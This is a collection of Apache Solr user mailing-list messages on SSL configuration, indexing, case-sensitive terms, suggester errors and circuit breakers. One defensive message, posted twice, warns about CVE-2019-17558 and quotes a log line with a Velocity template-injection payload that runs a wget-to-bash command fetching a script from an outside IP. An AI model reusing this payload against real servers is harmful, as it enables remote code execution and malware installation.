Re: SSL using CloudSolrClient

[ChienHuaWang]

Thanks for the information. 

Could you advise whether CloudSolrClient is compatible with non-TLS? even
client is not configure, it can still connect to Solr (TLS enabled)?  



--
Sent from: https://lucene.472066.n3.nabble.com/Solr-User-f472068.html

Re: SolrCloud keeps crashing

[TK Solr]

Oops, I should have referenced this document rather:

https://www.tenable.com/cve/CVE-2019-17558 



On 2/3/21 2:42 PM, TK Solr wrote:

Victor & Satish,

Is your Solr accessible from the Internet by anyone? If so, your site is being 
attacked by a bot using this security hole:


https://www.tenable.com/blog/cve-2019-17558-apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability 



If that is the case, try blocking the Solr port from the Internet.

My client's Solr was experiencing the sudden death syndrome. In the log, there 
were strange queries very similar to what you have here:


webapp=/solr path=/select 
params={*q=1=custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec($str.valueOf('bash,-c,wget+-q+-O+-+http://193.122.159.179/f.sh+|bash').split(",")))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end=velocity*} 
status=400 QTime=1
2020-12-20 08:49:07.029 INFO  (qtp401424608-8687) 
[c:sitecore_submittals_index s:shard1 r:core_node1 
x:sitecore_submittals_index_shard1_replica3] o.a.s.c.PluginBag Going to 
create a new queryResponseWriter with {type = queryResponseWriter,name = 
velocity,class = solr.VelocityResponseWriter,attributes = {startup=lazy, 
name=velocity, class=solr.VelocityResponseWriter, template.base.dir=, 
solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args 
= 
{startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}


We configured the firewall to block the Solr port. After that, my client's 
Solr node has been running for 4 weeks so far.  I think this security hole 
doesn't just leak the information but it can also kill the Solr process.


TK

Urgent- General Question about document Indexing frequency in solr

[Manisha Rahatadkar]

Hi All

Looking for some help on document indexing frequency. I am using apache solr 
7.7 and SolrNet library to commit documents to Solr. Summary for this function 
is:
// Summary:
// Commits posted documents, blocking until index changes are flushed to 
disk and
// blocking until a new searcher is opened and registered as the main query 
searcher,
// making the changes visible.

I understand that, the document gets reindexed after every commit. I have 
noticed that as the number of documents are increasing, the reindexing takes 
time. and sometimes I am getting solr connection time out error.
I have following questions:

  1.  Is there any frequency suggested by Solr for document insert/update and 
reindex? Is there any standard recommendation?
  2.  If I remove the copy fields from managed-schema.xml, do I need to delete 
the existing indexed data from solr core and then insert data and reindex it 
again?

Thanks in advance.

Regards
Manisha



Confidentiality Notice

This email message, including any attachments, is for the sole use of the 
intended recipient and may contain confidential and privileged information. Any 
unauthorized view, use, disclosure or distribution is prohibited. If you are 
not the intended recipient, please contact the sender by reply email and 
destroy all copies of the original message. Anju Software, Inc. 4500 S. 
Lakeshore Drive, Suite 620, Tempe, AZ USA 85282.

Re: SolrCloud keeps crashing

[TK Solr]

Victor & Satish,

Is your Solr accessible from the Internet by anyone? If so, your site is being 
attacked by a bot using this security hole:


https://www.tenable.com/blog/cve-2019-17558-apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability

If that is the case, try blocking the Solr port from the Internet.

My client's Solr was experiencing the sudden death syndrome. In the log, there 
were strange queries very similar to what you have here:



webapp=/solr path=/select 
params={*q=1=custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec($str.valueOf('bash,-c,wget+-q+-O+-+http://193.122.159.179/f.sh+|bash').split(",")))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end=velocity*}
 status=400 QTime=1
2020-12-20 08:49:07.029 INFO  (qtp401424608-8687) [c:sitecore_submittals_index 
s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] 
o.a.s.c.PluginBag Going to create a new queryResponseWriter with {type = 
queryResponseWriter,name = velocity,class = 
solr.VelocityResponseWriter,attributes = {startup=lazy, name=velocity, 
class=solr.VelocityResponseWriter, template.base.dir=, 
solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args = 
{startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}


We configured the firewall to block the Solr port. After that, my client's Solr 
node has been running for 4 weeks so far.  I think this security hole doesn't 
just leak the information but it can also kill the Solr process.


TK

Re: How to get case-sensitive Terms?

[Alexandre Rafalovitch]

What about copyField with the target being index only (docValue only?) and
no lowercase on the target field type?

Solr is not a database, you are optimising for search. So duplicate,
multi-process, denormalise, create custom field types, etc.

Regards,
   Alex

On Wed., Feb. 3, 2021, 4:43 p.m. elivis,  wrote:

> Alexandre Rafalovitch wrote
> > It is documented in the reference guide:
> > https://lucene.apache.org/solr/guide/8_8/analysis-screen.html
> >
> > Hope it helps,
> >Alex.
> >
> > On Tue, 2 Feb 2021 at 00:57, elivis 
>
> > elivis@
>
> >  wrote:
> >>
> >> Alexandre Rafalovitch wrote
> >> > Admin UI also allows you to run text string against a field definition
> >> to
> >> > see what each stage of analyzer chain does.
> >>
> >> Thank you. Could please let me know how to do this (see what each stage
> >> of
> >> analyzer chain does)?
> >>
> >>
> >>
> >>
> >> --
> >> Sent from: https://lucene.472066.n3.nabble.com/Solr-User-f472068.html
>
> Thank you, Alex! We were indeed using the LowerCaseFilterFactory on the
> text
> field that I'm using, and if I remove it from the schema, I do indeed get
> case sensitive terms. However, I don't think I can just remove the
> LowerCaseFilterFactory and call it a day. The reason we are using it is
> because we want our "exact match" searches to NOT be case sensitive - a
> search for "John" should return hits for "John" or "john". Is there a way
> to
> achieve this result in an efficient manner, if I remove the
> LowerCaseFilterFactory?
>
> Thank you again.
>
>
>
> --
> Sent from: https://lucene.472066.n3.nabble.com/Solr-User-f472068.html
>

Re: How to get case-sensitive Terms?

[elivis]

Alexandre Rafalovitch wrote
> It is documented in the reference guide:
> https://lucene.apache.org/solr/guide/8_8/analysis-screen.html
> 
> Hope it helps,
>Alex.
> 
> On Tue, 2 Feb 2021 at 00:57, elivis 

> elivis@

>  wrote:
>>
>> Alexandre Rafalovitch wrote
>> > Admin UI also allows you to run text string against a field definition
>> to
>> > see what each stage of analyzer chain does.
>>
>> Thank you. Could please let me know how to do this (see what each stage
>> of
>> analyzer chain does)?
>>
>>
>>
>>
>> --
>> Sent from: https://lucene.472066.n3.nabble.com/Solr-User-f472068.html

Thank you, Alex! We were indeed using the LowerCaseFilterFactory on the text
field that I'm using, and if I remove it from the schema, I do indeed get
case sensitive terms. However, I don't think I can just remove the
LowerCaseFilterFactory and call it a day. The reason we are using it is
because we want our "exact match" searches to NOT be case sensitive - a
search for "John" should return hits for "John" or "john". Is there a way to
achieve this result in an efficient manner, if I remove the
LowerCaseFilterFactory? 

Thank you again.



--
Sent from: https://lucene.472066.n3.nabble.com/Solr-User-f472068.html

Re: SSL using CloudSolrClient

[Jörn Franke]

Only between Solr nodes PKIauthentication works 

> Am 03.02.2021 um 21:27 schrieb Jörn Franke :
> 
> SSL is transport security. For authentication you have to use basic or 
> kerberos or Hadoop. You may also need to configure authorisation
> 
>> Am 03.02.2021 um 21:22 schrieb ChienHuaWang :
>> 
>> Hi,
>> 
>> I am implementing SSL between Solr and Client communication. The clients
>> connect to Solr via CloudSolrClient
>> 
>> According to  doc
>> 
>>  
>> , the passwords should also be set in clients.
>> However, in testing, client is still working well without any change but
>> with SSL enabling in Solr (passwords are setup)
>> 
>> Is this the expected behavior?  Could anyone share the experience, and
>> advise how to verify SSL?   
>> Appreciate any feedback.
>> 
>> 
>> 
>> --
>> Sent from: https://lucene.472066.n3.nabble.com/Solr-User-f472068.html

Re: SSL using CloudSolrClient

[Jörn Franke]

SSL is transport security. For authentication you have to use basic or kerberos 
or Hadoop. You may also need to configure authorisation

> Am 03.02.2021 um 21:22 schrieb ChienHuaWang :
> 
> Hi,
> 
> I am implementing SSL between Solr and Client communication. The clients
> connect to Solr via CloudSolrClient
> 
> According to  doc
> 
>  
> , the passwords should also be set in clients.
> However, in testing, client is still working well without any change but
> with SSL enabling in Solr (passwords are setup)
> 
> Is this the expected behavior?  Could anyone share the experience, and
> advise how to verify SSL?   
> Appreciate any feedback.
> 
> 
> 
> --
> Sent from: https://lucene.472066.n3.nabble.com/Solr-User-f472068.html

SSL using CloudSolrClient

[ChienHuaWang]

Hi,

I am implementing SSL between Solr and Client communication. The clients
connect to Solr via CloudSolrClient

According to  doc

 
, the passwords should also be set in clients.
However, in testing, client is still working well without any change but
with SSL enabling in Solr (passwords are setup)

Is this the expected behavior?  Could anyone share the experience, and
advise how to verify SSL?   
Appreciate any feedback.



--
Sent from: https://lucene.472066.n3.nabble.com/Solr-User-f472068.html

Error Logs in Solr

[Manisha Rahatadkar]

Hi All

I see following errors logged, I think these errors are related to Text 
Suggester. I saw these errors reported in the client environment, but don't 
know what does it mean. Can someone guide me what is the possibility of these 
errors?

[cid:image001.jpg@01D6FA33.FF76CC20]

Regards
Manisha Rahatadkar

Confidentiality Notice

This email message, including any attachments, is for the sole use of the 
intended recipient and may contain confidential and privileged information. Any 
unauthorized view, use, disclosure or distribution is prohibited. If you are 
not the intended recipient, please contact the sender by reply email and 
destroy all copies of the original message. Anju Software, Inc. 4500 S. 
Lakeshore Drive, Suite 620, Tempe, AZ USA 85282.

java.lang.IllegalArgumentException: no tokens produced by analyzer, or 
the only tokens were empty strings
java.lang.IllegalArgumentException: no tokens produced by analyzer, or the only 
tokens were empty strings
at 
org.apache.lucene.search.suggest.analyzing.FreeTextSuggester.lookup(FreeTextSuggester.java:467)
at 
org.apache.lucene.search.suggest.analyzing.FreeTextSuggester.lookup(FreeTextSuggester.java:399)
at 
org.apache.lucene.search.suggest.analyzing.FreeTextSuggester.lookup(FreeTextSuggester.java:388)
at 
org.apache.solr.spelling.suggest.SolrSuggester.getSuggestions(SolrSuggester.java:243)
at 
org.apache.solr.handler.component.SuggestComponent.process(SuggestComponent.java:264)
at 
org.apache.solr.handler.component.SearchHandler.handleRequestBody(SearchHandler.java:298)
at 
org.apache.solr.handler.RequestHandlerBase.handleRequest(RequestHandlerBase.java:199)
at org.apache.solr.core.SolrCore.execute(SolrCore.java:2551)
at org.apache.solr.servlet.HttpSolrCall.execute(HttpSolrCall.java:710)
at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:516)
at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:395)
at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:341)
at 
org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
at 
org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)
at 
org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:146)
at 
org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:548)
at 
org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:132)
at 
org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:257)
at 
org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1588)
at 
org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:255)
at 
org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1345)
at 
org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:203)
at 
org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:480)
at 
org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1557)
at 
org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:201)
at 
org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1247)
at 
org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:144)
at 
org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:220)
at 
org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:126)
at 
org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:132)
at 
org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:335)
at 
org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:132)
at org.eclipse.jetty.server.Server.handle(Server.java:502)
at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:364)
at 
org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:260)
at 
org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:305)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:103)
at org.eclipse.jetty.io.ChannelEndPoint$2.run(ChannelEndPoint.java:118)
at 
org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:333)
at 
org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:310)
at 
org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:168)
at 
org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:126)
at 

Shards and circuit breakers

[Walter Underwood]

Should circuit breakers only kill external search requests and not 
cluster-internal requests to shards?

Circuit breakers can kill any request, whether it is a client request from 
outside the cluster or an internal distributed request to a shard. Killing a 
portion of distributed request will affect the main request. Not sure whether a 
503 from a shard will kill the whole request or cause partial results, but it 
isn’t good.

We run with 8 shards. If a circuit breaker is killing 10% of requests on each 
host, that will hit 57% of all external requests (0.9^8 = 0.43). That seems 
like “overkill” to me. If it only kills external requests, then 10% means 10%.

Killing only external requests requires that external requests go roughly 
equally to all hosts in the cluster, or at least all NRT or PULL replicas.

wunder
Walter Underwood
wun...@wunderwood.org
http://observer.wunderwood.org/  (my blog)

Distributing and scaling Lucene Monitor?

[Scott Stults]

Has anyone built scaling around Lucene Monitor? I worked with it when it
was Luwak, but I haven't had to scale it beyond a single node. There's all
of the cluster-ish framework in Solr, but Lucene Monitor is fairly
disconnected from that. I've seen the URP someone built around it, but that
doesn't seem to deal with CRUD operations on the monitor queries
themselves.

So has anyone built this or given some thought about how to incorporate the
monitor index into SolrCloud?


Thank you,
Scott

-- 
Scott Stults | Founder & Solutions Architect | OpenSource Connections, LLC
| 434.409.2780
http://www.opensourceconnections.com